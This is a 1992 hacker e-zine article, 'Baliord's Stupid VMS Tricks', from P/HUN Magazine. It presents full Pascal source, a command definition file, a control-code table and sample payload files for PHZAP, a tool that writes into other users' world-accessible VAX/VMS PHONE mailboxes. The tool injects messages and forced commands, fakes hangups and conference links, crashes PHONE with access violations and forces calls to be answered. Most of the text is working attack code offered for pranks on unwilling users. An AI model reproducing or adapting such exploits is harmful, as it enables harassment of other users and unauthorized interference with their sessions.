home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 1 / HACKER1.ISO / miscpub1 / phun506.txt < prev    next >
Text File  |  1992-09-26  |  15KB  |  360 lines

  1.             
  2.  
  3.                  Baliord's Stupid VMS Tricks Vol 1: PHONE
  4.                  ----------------------------------------  
  5.                                By Baliord
  6.  
  7.                   Phile #6 of P/HUN Magazine Issue #5
  8.  
  9.  
  10.     This program is the culmination of about a month's research, debugging,
  11. and coding.  Any bugs in it are my fault, but I am not liable for them since
  12. I am not running it (or compiling it) on your system.  You accept all
  13. responsibility for the execution of this program by compiling it.  This
  14. program is meant to show what CAN be done with the VAX/VMS PHONE program,
  15. and is a working program solely for the purpose of showing that it CAN be
  16. done.
  17.     Sometime in 1986 or 1987, a friend of mine quit a job working with a
  18. record company.  In the process of leaving, he managed to pick up a copy
  19. of the VAX/VMS 4.0 source code on microfiche.  Since then, he has gotten
  20. 2 more editions.  He unfortunately doesn't understand the code, but just
  21. likes to have it around as proof of his "abilities."  Once he acquired a
  22. second copy of the code, I requested his earlier edition.  He gave it to
  23. me freely.
  24.     In the middle of 1988, a "user" at my local college approached me and
  25. said that his PHONE conversations were being tapped.  I laughed, and told
  26. them that it was impossible.  They persisted, and thus I foraged into the
  27. realm of VMS PHONE discovery.   Upon reading the source code for PHONE, I
  28. discovered that it was the funniest, and most interestingly written  (and
  29. commented) program in the deck.  I discovered that, 1) PHONE was designed
  30. with a RECORD feature that would allow users to record conversations (and
  31. inform the other  party that a recording was occurring),  and that 2) the
  32. mailboxes created by the phone  program were completely world accessible,
  33. as well as being  easily discovered;  and that 3) for some reason DEC had
  34. commented out ONE LINE from PHONE,  making it unable to RECORD, but still
  35. including the code to do so in the program.
  36.      The other thing that was in the PHONE source was a list of the control
  37. codes that would force the program to do various things.  Surprisingly, the
  38. commands typed at the keyboard were treated the same as characters recieved
  39. through the mailboxes.   Needless to say, I immediately started considering
  40. ways to access them.   After a bit of debugging,  hacking, and causing some
  41. horrible errors to appear on other people's terminals, the program here was
  42. written.
  43.      The first program is the actual PASCAL source code for the message
  44. sender; the next program is the  .CLD file you should create to use the
  45. program;  the next thing is a list of the format and the method used in
  46. creating your own file to send.  The last file is a few sample files to
  47. be created to demonstrate the things that can be done.
  48.      An interesting point is that the CALLING user creates the mailbox
  49. FOR the called user.  This means that an answering machine program can
  50. be written that will recieve messages, and hang up without needing the
  51. user to watch over it.  Of course the user must be logged in, but they
  52. need not recieve phone calls to get their messages!   I have written a
  53. program to do this, and it may be published in the future.
  54.      Oh yes, the method for finding out what users are currently using
  55. the phone system is to:
  56.                        SHOW LOG PHN$*/SYS
  57. This works because PHONE creates systemwide logical names formatted as
  58. PHN$<username>.
  59.      The following is the method for using the PHZAP program...  Lines that
  60. begin with ';' are comments...
  61.  
  62. $ SET COMMAND PHZAP
  63. ;  This enables the command...
  64. $ SHOW LOG PHN$*
  65.    "PHN$GOD" = "_MBAxxx"
  66.    "PHN$DEVIL" = "_MBAxxx"
  67. ;  As I just said, that lists out who's using the system...
  68.  
  69. $ ZAP GOD/TYPE=MSG/MESSAGE="Personally?  I think you goofed off for six days"
  70. $ ZAP GOD/TYPE=MSG/MESSAGE=" then pulled an all-nighter!~"
  71. ;  Drops up the message on His screen.
  72.  
  73. $ ZAP DEVIL/TYPE=MSG/MESSAGE="\And I said, Let There Be Light!  And YOU got"
  74. $ ZAP DEVIL/TYPE=MSG/MESSAGE="hung up!"
  75. $ ZAP DEVIL/TYPE=CMD/MESSAGE="HANGUP"
  76. ;  Places the message on It's screen, then forces It to HANGUP.
  77.  
  78. $ ZAP GOD/TYPE=CMD/MESSAGE="HELP SWITCH_HOOK"
  79. ;  This command teaches Him a bit about Switch Hooks, by forcing Him into
  80. ;  help...
  81.  
  82. --------------------------------------------------------------------------
  83.      If you get the feeling that I'm a bit anti-religious, and that those
  84. capital letters are smotheringly sarcastic...  You're smarter than you
  85. look!
  86. ---------------------------------------------------------------------------
  87. PHZAP.PAS follows:
  88.  
  89. [ INHERIT( 'SYS$LIBRARY:STARLET' ) ]
  90. {*************************************************************************}
  91. {*    If you are going to use this program, please leave this message    *}
  92. {*    in the file.  When referring to this program, give credit where    *}
  93. {*    credit is due.                                                     *}
  94. {*                                                --  Baliord            *}
  95. {*************************************************************************}
  96.  
  97. program Phone_Phool(output,phzap);
  98.  
  99. const
  100.   max = 132;
  101.  
  102.   type
  103.     string_type = VARYING[ MAX ] OF CHAR;
  104.     word_type = [ word ]0..65535;
  105.  
  106.   var
  107.     MAILBOX_NAME : STRING_TYPE;
  108.     mailbox_channel : word_type;
  109.     MsgStr,Send_File, command, mailbox_device_name : string_type;
  110.     length : integer;
  111.     phZAP: text;
  112.  
  113. [external,asynchronous] procedure cli$get_value  (
  114.           entity: packed array [$L7..$U7:integer] of char := %immed 0;
  115.           var retdesc : Varying [$R0] of char) ; external;
  116.  
  117. [ asynchronous ]
  118. function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char;
  119.                          %ref name_length : integer := %immed 0;
  120.                          %descr equivalence : varying[ l2 ] of char;
  121.                          %ref table : integer := %immed 0 ) : integer;
  122. external;
  123.  
  124. [external,asynchronous] function cli$present(
  125.          entity: packed array [$L7..$U7:integer] of char := %immed 0):Integer;
  126. external;
  127.  
  128. {
  129.   The following procedure checks to find out who you want hit with a message,
  130.   and opens their phone mailbox and sends the command to it.
  131. }
  132.  
  133. Procedure Send(Command:String_Type);
  134.  Begin
  135.     Cli$get_value('USER',Mailbox_Name);
  136.     Mailbox_Name:='PHN$'+Mailbox_Name;
  137.     if lib$sys_trnlog(mailbox_name,length,mailbox_device_name)>ss$_normal then
  138.       writeln( 'Mailbox ', mailbox_name, ' does not exist.' )
  139.     else
  140.       begin
  141.         mailbox_device_name.length := length;
  142.         $assign( mailbox_device_name, mailbox_channel );   { Assign channel }
  143.         $qio( , mailbox_channel, io$_writevblk + io$m_noformat + io$m_now,
  144.           ,,, command.body, command.length, );         { Send command. }
  145.       end;
  146.   End;
  147.  
  148. {
  149.    This procedure adds the "smb_cmd" (symbiont Command) function to the
  150.    beginning of a message.  This forces the message you send to be interpreted
  151.    by PHONE as a command typed by the user.
  152. }
  153.  
  154. Procedure Snd_Cmd(Y:String_Type);
  155.   Var X:Integer;
  156.   Begin
  157.     Y:=Y+chr(13);
  158.     Y:=chr(3)+Y+chr(0);
  159.     Send(Y);
  160.   End;
  161.  
  162. {
  163.    Here we convert the string from the plaintext given by the ZAPper to the
  164.    string that will be sent to the poor desperate user.  It converts the
  165.    '~' character into a carraige return, the '\' into a ^L (which clears the
  166.    screen) and the "|" into a ^W which repaints the screen.
  167. }
  168.  
  169. Procedure Snd_Msg(Y:String_Type);
  170.   Var X:Integer;
  171.   Begin
  172.     X:=1;
  173.     While X<>0 do
  174.     Begin
  175.       X:=Index(Y,'~');
  176.       If X<>0 then Y[X]:=chr(13);
  177.     End;
  178.     X:=Index(Y,'\');
  179.     If X<>0 then Y[X]:=chr(12);
  180.     X:=Index(Y,'|');
  181.     If X<>0 then Y[X]:=chr(23);
  182.     Y:=chr(2)+Y+chr(0);
  183.     Send(Y);
  184.   End;
  185.  
  186. Begin  (** MAIN PROGRAM **)
  187.  
  188.     if cli$present('MESSAGE')<>229872 then cli$get_value('MESSAGE',msgstr);
  189.      { If the person is sending a message then it will be in the MSG area. }
  190.  
  191.     if cli$present('TYPE')<>229872 then cli$get_value('TYPE',Send_File) else
  192.        Send_File:='ACCVIO.PHN';
  193.      { If the /TYPE= is not specified then it tries to force the user's PHONE
  194.        program to crash with an ACCESS VIOLATION...  (a nice, frightening
  195.        trick to play on a poor user.  It is normally possible to send a file
  196.        through this command, BUT you must know the format...
  197.      }
  198.  
  199.     IF SEND_FILE='CMD' then SND_CMD(MSGSTR) ELSE
  200.       If Send_File='MSG' then SND_MSG(MsgStr) Else
  201.          BEGIN
  202.            if Index(Send_File,'.')=0 then Send_File:=Send_File+'.PHN';
  203.            Cli$get_value('USER',Mailbox_Name);
  204.            Mailbox_Name:='PHN$'+Mailbox_Name;
  205.            if lib$sys_trnlog(mailbox_name,length,mailbox_device_name)>
  206. ss$_normal then
  207.               writeln( 'Mailbox ', mailbox_name, ' does not exist.' )
  208.            else
  209.            begin
  210.              OPEN(FILE_VARIABLE:=PHZAP
  211.                  ,FILE_NAME:=SEND_FILE
  212.                  ,HISTORY:=OLD
  213.                  ,DEFAULT:='[]'); {  Replace this with the default dir }      
  214.                                      {  you will be most often using...}
  215.  
  216.              mailbox_device_name.length := length;
  217.  
  218.              $assign( mailbox_device_name, mailbox_channel );   
  219. { Assign channel }
  220.  
  221.              reset(phZAP);
  222.                 repeat
  223.                    readln(phZAP,command);
  224.  
  225.                    $qio( , mailbox_channel, io$_writevblk + io$m_noformat 
  226. + io$m_now,
  227.                         ,,, command.body, command.length, );         { 
  228. Send command. }
  229.  
  230.                 until eof(phZAP)
  231.            end;
  232.          END;
  233. end.
  234.  
  235. ------------------------------------------------------------------------------
  236. PHZAP.CLD follows:
  237.  
  238. MODULE PHZAP_COMMAND
  239. Define Verb Zap
  240.        Image      "[{directory}]PHZAP.EXE"
  241. ;                     ^^  Convert this to the directory the program will be in
  242. ;                         and then delete these three lines.
  243. ;
  244.        Qualifier  Type,Value
  245.        Parameter  P1,Label=User,Value(Required),Prompt="Username"
  246.        Qualifier  Message,Value
  247.  
  248. -----------------------------------------------------------------------------
  249.     The format for a simple file is <cmd-char>NODE::USERNAME<CHR(0)><msg-char>
  250.  
  251.     You can force a message to a person's screen by one of two methods,
  252. the first is using the above format and writing your message in the <msg-char>
  253. section of the packet using <listen>.  This requires writing it character by
  254. character.  The other option is to send the KBD_ROUTE command along with the
  255. message in normal text (with a <CHR(0)> at the end of course.)
  256.     The CMD_PARSE command allows you to force a command on the user, through
  257. their PHONE program.  It only works for commands within PHONE, however, so
  258. you cannot make them log out or such, only kick them out of phone.
  259.     The ANSWERED flag is useful in writing an answering machine, in that you
  260. send <answered>NODE::<answering user><CHR(0)> and the calling PHONE program
  261. will pop up the second screen as if the person had answered.  BUSY is also
  262. a nice one to be able to send (as well as rejected!)
  263.     If you send a <hangup>NODE::<hanging user><CHR(0)> ONLY THE USER YOU HIT
  264. with PHZAP will see that user as hung-up!  The other user (who supposedly
  265. hung up) will still see the other user listed on their screen!  (Nothing
  266. typed will reach them of course, but it is an interesting mindfuck!)
  267.     The <facsimile><msg-text><CHR(0)> is (if I remember correctly) the proper
  268. method for FAXing something over the VAX PHONE.
  269.     The <held>NODE::<holding user><CHR(0)> command puts the user you hit on
  270. HOLD in that user's eyes, but not to the "holding user."
  271.     Sending a <forced-link>NODE::<user #1><CHR(0)>NODE::<user #2><CHR(0)> will
  272. pretend to create a link between the user you are ZAPping and user #2.  Both
  273. users **MUST** be logged in, but not necessarily in PHONE!  Thus you can force
  274. a link between a user and <login> just to freak them out!  An example of this
  275. is given below.
  276.     The codes I haven't discussed are either too weird/complex to handle
  277. easily, or I just don't know how to use them.  (or have never bothered.)
  278.  
  279. kbd_get      = chr (1);
  280. kbd_route    = chr (2);
  281. cmd_parse    = chr (3);
  282. talk         = chr (4);
  283. help2        = chr (5);
  284. ring_out     = chr (6);
  285. slave_verify = chr (7);
  286. rang_in      = chr (8);
  287. hangup       = chr (9);
  288. busy         = chr (10);
  289. answered     = chr (11);
  290. rejected     = chr (12);
  291. slave_done   = chr (13);
  292. listen       = chr (14);
  293. directory2   = chr (15);
  294. facsimile2   = chr (16);
  295. forced_link  = chr (17);
  296. held         = chr (18);
  297. unheld       = chr (19);
  298.  
  299. ----------------------------------------------------------------------------
  300. Some sample .PHN files follow...  <nn> is used to refer to <CHR(nn)>...
  301.  
  302. FOFF.PHN
  303. <04>Lemme ALONE dammit!!<00>
  304.  
  305.     This drops a message in the users OWN message area as if he had typed it
  306. to send to somebody.  They don't even have to be connected to somebody for
  307. you to do this.  It's most useful when someone is calling you and you want
  308. to tell them to call back later.
  309.  
  310. FYOU.PHN
  311. <14>HEAVEN::GOD<00>F
  312. <14>HEAVEN::GOD<00>u
  313. <14>HEAVEN::GOD<00>c
  314. <14>HEAVEN::GOD<00>k
  315. <14>HEAVEN::GOD<00>
  316. <14>HEAVEN::GOD<00>Y
  317. <14>HEAVEN::GOD<00>o
  318. <14>HEAVEN::GOD<00>u
  319. <14>HEAVEN::GOD<00>!
  320.  
  321.     This sends a message to a user in the standard way, as if someone had
  322. typed it.  This is also the method that is in the mailboxes used by PHONE,
  323. so if you want to write an answering machine, you have to parse that pattern.
  324.  
  325. ACCVIO.PHN
  326. <15>HEAVEN::GOD<00>
  327.  
  328.     That causes Acess Violation errors to flow down the users screen.  Don't
  329. ask me why; I don't know.  Does it under V4.6 of VMS, others I'm not sure.
  330.  
  331. LINKUP.PHN
  332. <16>HEAVEN::DEVIL<00>HEAVEN::GOD<00>
  333.  
  334.     After send that to a user's mailbox, their screen should flash with the
  335. "DEVIL has created a conference call with GOD" message.  Both users MUST exist
  336. and be logged on currently.  If you want to add yourself into a conversation
  337. go into phone, have someone "link" you with their conversation and then have
  338. someone link them with you...  It must be done to both.  Of course you could
  339. always use this...
  340.  
  341. ANSWER.PHN
  342. <03>ANSWER<0>
  343.  
  344.     That will force an ANSWER command from the keyboard into the COMMAND
  345. buffer.  If you have a friend do that to them, as you are phoning them, then
  346. they will be connected without the chance of them rejecting!  <Then you have
  347. your friend start linking all the phone conversations on the system by one
  348. person each!>
  349.  
  350.      I think that's enough examples for you to be able to figure out the
  351. format for the rest yourself.
  352.  
  353.      If you have questions about this, or any other program you have seen
  354. my name on, or you have VAX specific questions, I am available on The Toll
  355. Center BBS @ (718) 358-9209 and the Rogue's Gallery BBS @ (516) 361-9846.
  356.  
  357. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  358.  
  359. Downloaded From P-80 International Information Systems 304-744-2253 12yrs+
  360.